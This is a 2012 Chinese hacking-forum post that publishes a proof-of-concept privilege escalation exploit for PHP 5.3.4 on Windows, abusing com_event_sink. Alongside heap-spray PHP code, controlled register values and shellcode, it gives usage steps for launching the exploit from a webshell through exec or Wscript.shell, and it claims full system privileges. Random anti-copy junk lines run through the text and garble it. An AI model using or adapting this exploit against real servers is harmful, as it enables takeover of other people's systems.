中国网络渗透测试联盟
标题:
PHP 5.3.4(WIN) COM_SINK权限提升漏洞
[打印本页]
作者:
admin
时间:
2012-11-9 21:08
标题:
PHP 5.3.4(WIN) COM_SINK权限提升漏洞
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
+ O% p0 s: i! b- [
' e `* m$ l( o- P$ }9 }2 F
测试方法如下:cmd /c x:\php\php.exe x:\test.php
% w; ^8 i! |' }3 h7 s, o# K
: T& o. [) T+ B* Z% W' W. O
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
( @! h& X" Q8 C& R( h6 |$ M& d. N
这里是两个测试的截图:
0 `. p: |8 `& U k
, w( S# A* e* N; ?( H
3 F7 g+ E% B4 Y" f
& v7 x! B8 G9 z0 H( L
2 }7 ~, g7 e# t9 U
3 v1 X. S d( m" q/ v% i7 O
成功利用此漏洞的攻击者将获得系统的最高权限
# X# n% E6 F3 A6 M
/ O) B, a7 s8 F
' W5 K5 P5 s+ O! V
- C! ]& r" I% E' k# b( e6 a' S
" K- k9 V8 G/ M( J
$ i' y8 {3 [6 V# k
关于漏洞分析稍后附上。一下是PoC代码:
* A! k' y$ {% i" X
* `# _; ?. Q$ Y
<?php
* {& i0 ^8 V0 a
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
8 c" h. N6 m& T
//$eip ="\x44\x43\x42\x41";
- y0 ~5 S% b; Q7 }1 r
$eip= "\x4b\xe8\x57\x78";
- ^; y& \2 d& \& V6 x
$eax ="\x80\x01\x8d\x04";
3 x" Z5 I% D! s& F) o; w8 O
$deodrant="";
$ F- s) B% z, V2 i' F* h& b
$axespray = str_repeat($eip.$eax,0x80);
+ K. v2 y, T }5 m1 Y
//048d0190
6 |: I+ k w. J5 M
echo strlen($axespray);
; |) N1 I$ P( }% j/ U
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
& t N2 L; r6 X
echo "Silic Group Hacker Army - BlackBap.Org";
+ t/ g: _( v2 l: a8 _& ]
//19200 ==4B32 4b00
/ ?' C1 Q7 b4 G2 Z
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
" i) W: x; r) _- V9 S. o3 Y
$terminate = "T";
7 ~8 q. e; M% \6 }7 A
$u[] =$deodrant;
/ ^9 ?4 t7 w) F$ e. q
$r[] =$deodrant.$terminate;
4 m, Z0 l) | i3 r
$a[] =$deodrant.$terminate;
1 a3 k' v ^( H9 ?
$s[] =$deodrant.$terminate;
7 K. T4 b6 V4 A$ B4 |0 R/ \* r
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
3 A. t. G% T$ y/ w
$vVar = new VARIANT(0x048d0000+180);
# c- u: s B5 k( B3 A% M
//弹窗代码(Shellcode)
- ]7 i1 P6 E' ?% y2 U
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
+ \; D8 u: m8 {) k1 @6 \4 Q
$var2 = new VARIANT(0x41414242);
3 @2 X' [2 ?& r/ n5 y
com_event_sink($vVar,$var2,$buffer);
* \7 K! U; J- q; `; B j
?>
& F- f% l7 t. n
[attach]113[/attach][attach]114[/attach]
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2